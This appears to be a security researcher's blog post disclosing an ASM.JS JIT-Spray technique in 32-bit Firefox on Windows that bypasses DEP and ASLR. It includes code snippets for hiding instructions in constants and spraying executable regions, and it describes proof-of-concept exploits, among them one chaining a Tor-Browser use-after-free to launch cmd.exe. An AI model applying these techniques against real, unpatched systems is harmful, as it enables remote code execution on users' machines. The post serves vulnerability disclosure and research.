ρ


program analysis, reversing & exploit writing

The Return of the JIT (Part 1)

TL;DR: This is the story about ASM.JS JIT-Spray in Mozilla Firefox (x86 32-bit) on Windows tracked as CVE-2017-5375 and CVE-2017-5400. It allows to fully bypass DEP and ASLR.

I always liked the idea of JIT-Spray since the first time I saw it being used for Flash in 2010. Just to name a few, JIT-Spray has been used to exploit bugs in Apple Safari, create info leak gadgets in Flash, attack various other client software, and has even been abusing Microsoft’s WARP Shader JIT Engine

@asintsov wrote in 2010:

Yes, the idea will never die, and from time to time JIT-Spray reappears…


JIT-Spray

It greatly simplifies exploiting a memory corruption bug such as an use-after-free, because the attacker only needs to hijack the intruction pointer and jump to JIT-Sprayed shellcode. There is no need to disclose code locations or base addresses of DLLs, and there is no need for any code-reuse.

JIT-Spray is usually possible when:

  1. Machine code can be hidden within constants of a high-level language such as JavaScript: This bypasses DEP.
  2. The attacker is able to force the JIT compiler to emit the constants into many execuable code regions whose addresses are predictable: This bypasses ASLR.

For example to achieve (1), we can inject NOPS (0x90) in ASM.JS code with:

Injecting NOPS with ASM.JS constants
1
2
VAL = (VAL + 0xA8909090)|0;
VAL = (VAL + 0xA8909090)|0;

Firefox’ ASM.JS compiler generates the following x86 machine code:

Native x86 code generated from ASM.JS
1
2
00: 05909090A8    ADD EAX, 0xA8909090
05: 05909090A8    ADD EAX, 0xA8909090

When we jump into to offset 01 (the middle of the first instruction) we can execute our hidden code:

Hidden instructions within emitted x86 code
1
2
3
4
5
6
7
8
01: 90    NOP
02: 90    NOP
03: 90    NOP
04: A805  TEST AL, 05
06: 90    NOP
07: 90    NOP
08: 90    NOP
09: A8...

Thus, in our four-byte constants, we have three bytes to hide our code and one byte (0xA8) to wrap the ADD EAX, … instruction into the NOP-like instruction TEST AL, 05.

To achieve condition (2), i.e., to create many executable regions containing our code we request the ASM.JS module many times:

ASM.JS JIT-Sprayer
1
2
3
4
5
6
7
8
9
10
11
12
function asm_js_module(){
    "use asm"
    function asm_js_function(){
        /* attacker controlled asm.js code */
    }
    return asm_js_function
}
modules = []
/* create 0x1000 executable regions containing our code */
for (i=0; i<=0x1000; i++){
    modules[i] = asm_js_module() // request asm.js module
}

Technically, ASM.JS is an ahead-of-time (AOT) compiler and not a just-in-time (JIT) compiler. Hence, the function asm_js_function() doesn’t need to be called to get your machine code injected into memory at predictable addresses. It is sufficient to load a web page containing the ASM.JS script.


The Flaw

Each time an ASM.JS module is requested, CodeSegment::create() is called which in turn calls AllocateCodeSegment() in firefox-50.1.0/js/src/asmjs/WasmCode.cpp line #206 (based on the source of Firefox 50.1.0):

firefox-50.1.0/js/src/asmjs/WasmCode.cpp (CodeSegment::create)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
191 /* static */ UniqueCodeSegment
192 CodeSegment::create(JSContext* cx,
193                     const Bytes& bytecode,
194                     const LinkData& linkData,
195                     const Metadata& metadata,
196                     HandleWasmMemoryObject memory)
197 {
198     MOZ_ASSERT(bytecode.length() % gc::SystemPageSize() == 0);
199     MOZ_ASSERT(linkData.globalDataLength % gc::SystemPageSize() == 0);
200     MOZ_ASSERT(linkData.functionCodeLength < bytecode.length());
201
202     auto cs = cx->make_unique<CodeSegment>();
203     if (!cs)
204         return nullptr;
205
206     cs->bytes_ = AllocateCodeSegment(cx, bytecode.length() + linkData.globalDataLength);

AllocateCodeSegment() further calls AllocateExecutableMemory() in line #67:

firefox-50.1.0/js/src/asmjs/WasmCode.cpp (AllocateCodeSegment)
1
2
3
4
5
6
7
8
9
10
11
58 AllocateCodeSegment(ExclusiveContext* cx, uint32_t totalLength)
59 {
60     if (wasmCodeAllocations >= MaxWasmCodeAllocations)
61         return nullptr;
62
63     // Allocate RW memory. DynamicallyLinkModule will reprotect the code as RX.
64     unsigned permissions =
65         ExecutableAllocator::initialProtectionFlags(ExecutableAllocator::Writable);
66
67     void* p = AllocateExecutableMemory(nullptr, totalLength, permissions,
68                                        "wasm-code-segment", gc::SystemPageSize());

Finally, AllocateExecutableMemory() invokes VirtualAlloc() which returns a new RW (PAGE_READWRITE) region aligned to a 64KB boundary (0xXXXX0000) (firefox-50.1.0/js/src/jit/ExecutableAllocatorWin.cpp, line #190).

firefox-50.1.0/js/src/jit/ExecutableAllocatorWin.cpp (AllocateExecutableMemory)
1
2
3
4
5
6
7
8
9
10
11
12
179 void*
180 js::jit::AllocateExecutableMemory(void* addr, size_t bytes, unsigned permissions, const char* tag,
181                                   size_t pageSize)
182 {
183     MOZ_ASSERT(bytes % pageSize == 0);
184
185 #ifdef JS_CPU_X64
186     if (sJitExceptionHandler)
187         bytes += pageSize;
188 #endif
189
190     void* p = VirtualAlloc(addr, bytes, MEM_COMMIT | MEM_RESERVE, permissions);

If we set a breakpoint on VirtualAlloc() in WinDbg, we get the following call stack during runtime (Firefox 50.1.0):

Stack trace in WinDbg
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
0:000> kP a
 # ChildEBP RetAddr  
00 008fe060 670ef66e KERNEL32!VirtualAllocStub
01 (Inline) -------- xul!js::jit::AllocateExecutableMemory+0x10 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\jit\executableallocatorwin.cpp @ 190]
02 008fe078 670f65c7 xul!AllocateCodeSegment(
            class js::ExclusiveContext * cx = 0x04516000, 
            unsigned int totalLength = <Value unavailable error>)+0x23 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\asmjs\wasmcode.cpp @ 67]
03 008fe0b8 670de070 xul!js::wasm::CodeSegment::create(
            struct JSContext * cx = 0x04516000, 
            class mozilla::Vector<unsigned char,0,js::SystemAllocPolicy> * bytecode = 0x08c61008, 
            struct js::wasm::LinkData * linkData = 0x08c61020, 
            struct js::wasm::Metadata * metadata = 0x06ab68d0, 
            class JS::Handle<js::WasmMemoryObject *> memory = class JS::Handle<js::WasmMemoryObject *>)+0x67 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\asmjs\wasmcode.cpp @ 206]
04 008fe184 6705f99d xul!js::wasm::Module::instantiate(
            struct JSContext * cx = 0x04516000, 
            class JS::Handle<JS::GCVector<JSFunction *,0,js::TempAllocPolicy> > funcImports = class JS::Handle<JS::GCVector<JSFunction *,0,js::TempAllocPolicy> >, 
            class JS::Handle<js::WasmTableObject *> tableImport = class JS::Handle<js::WasmTableObject *>, 
            class JS::Handle<js::WasmMemoryObject *> memoryImport = class JS::Handle<js::WasmMemoryObject *>, 
            class mozilla::Vector<js::wasm::Val,0,js::SystemAllocPolicy> * globalImports = 0x008fe200, 
            class JS::Handle<JSObject *> instanceProto = class JS::Handle<JSObject *>, 
            class JS::MutableHandle<js::WasmInstanceObject *> instanceObj = class JS::MutableHandle<js::WasmInstanceObject *>)+0x94 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\asmjs\wasmmodule.cpp @ 689]
05 008fe260 6705aae6 xul!TryInstantiate(
            struct JSContext * cx = 0x04516000, 
            class JS::CallArgs args = class JS::CallArgs, 
            class js::wasm::Module * module = 0x08c61000, 
            struct js::AsmJSMetadata * metadata = 0x06ab68d0, 
            class JS::MutableHandle<js::WasmInstanceObject *> instanceObj = class JS::MutableHandle<js::WasmInstanceObject *>, 
            class JS::MutableHandle<JSObject *> exportObj = class JS::MutableHandle<JSObject *>)+0x1e6 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\asmjs\asmjs.cpp @ 7894]
06 008fe2c4 35713638 xul!InstantiateAsmJS(
            struct JSContext * cx = 0x04516000, 
            unsigned int argc = 0, 
            class JS::Value * vp = 0x008fe2f0)+0x88 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\asmjs\asmjs.cpp @ 8008]

After returning into method CodeSegment::create(), the ASM.JS compiled/native code is copied to the RW region (firefox-50.1.0/js/src/asmjs/WasmCode.cpp, line #223). And in line #229 the RW region is made executable (PAGE_EXECUTE_READ) with ExecutableAllocator::makeExecutable() invoking VirtualProtect().

firefox-50.1.0/js/src/asmjs/WasmCode.cpp making ASM.JS code executable (in CodeSegment::create)
1
2
3
4
5
6
7
223         memcpy(cs->code(), bytecode.begin(), bytecode.length());
224         StaticallyLink(*cs, linkData, cx);
225         if (memory)
226             SpecializeToMemory(*cs, metadata, memory);
227     }
228
229     if (!ExecutableAllocator::makeExecutable(cs->code(), cs->codeLength())) {


Requesting one ASM.JS module many times leads to the creation of many RX regions. Due to the allocation granularity of VirtualAlloc (64KB) we can then choose a fixed address (such as 0x1c1c0000) and can be certain that the emitted machine code is located there (containing our hidden payload).

The astute reader might have noticed that constant blinding is missing and allows to emit ASM.JS constants as x86 code in the first place.


Show me a PoC!

Let’s see how a proof of concept looks in practice: we hide our payload within ASM.JS constants and request the ASM.JS module many times. Hence, we spray many executable code regions to occupy predictable addresses.

The payload consists of two parts:

  1. Very large NOP-sled (line #35 to #74): to hit it, we can choose a predictable address, such as 0x1c1c0053, and set EIP to it.
  2. Shellcode (line #75 to #152): it resolves kernel32!WinExec()and executes cmd.exe.

The payload strictly contains at most three-byte long instructions excepts MOVs, which are handled differently. It was automatically generated by a custom transformation tool shellcode2asmjs which uses the Nasm assembler and Distorm3 disassembler. The payload is strongly inspired by Writing JIT-Spray-Shellcode.

As no memory corruption is abused in this PoC, you have to set EIP in your favorite debugger when you are prompted to ;)


Exploiting a former Tor-Browser 0day with ASM.JS JIT-Spray

Let’s take a real memory corruption (CVE-2016-9079) and see how super easy exploitation becomes when using ASM.JS JIT-Spray. This use-after-free has been analyzed thoroughly, so most of the hard work to write a custom exploit was already done. Note: We target Firefox 50.0.1 and not 50.1.0 as above.

Despite JIT-Spraying executable regions, following steps are conducted:

  • We use the bug-trigger from the bug report (line #296 to #372).
  • We heap-spray a fake object (line #258 to #281).
  • During runtime, the chosen values in our fake object drive the execution to a program path with an indirect call. There, EIP is set with the address of one JIT-Sprayed region (0x1c1c0054).
  • As soon as the bug is triggered, the JIT-sprayed payload is executed and cmd.exe should pop up.

That’s all. The full exploit targets Mozilla Firefox 50.0.1, and we don’t need any information-leaks and code-reuse. Note that the Tor-Browser has ASM.JS disabled by default, and hence, ASM.JS JIT-Spray won’t work unless the user enables it.

I wonder if Endgames HA-CFI catches this exploit?


Dynamic Payloads

Above exploits contain “hardcoded” payloads within constants. That makes it kind of cumbersome to use different shellcodes. However, we can generate ASM.JS scripts on the fly and invoke them during runtime. A PoC where payloads are exchangeable uses the following:

  • JavaScript code creates ASM.JS script-code dynamically. The ASM.JS script is included with the Blob JavaScript API (line #88 to #137).
  • A custom VirtualAlloc stage0. It allocates RWX pages and copies the actual stage1 payload (i.e. metasploit shellcode) to it. Afterwards, stage0 jumps to stage1 (line #53 to #69).

This way, you can replace the payload with your favorite shellcode of choice (line #33). The PoC and especially the stage0 payload were also auto-generated with the custom shellcode2asmjs tool.


The Incomplete Fix

Mozilla fixed this issue in Firefox 51 on Jan. 24, 2017. However, the fix can be bypassed which resulted in CVE-2017-5400. This will be explained in part 2.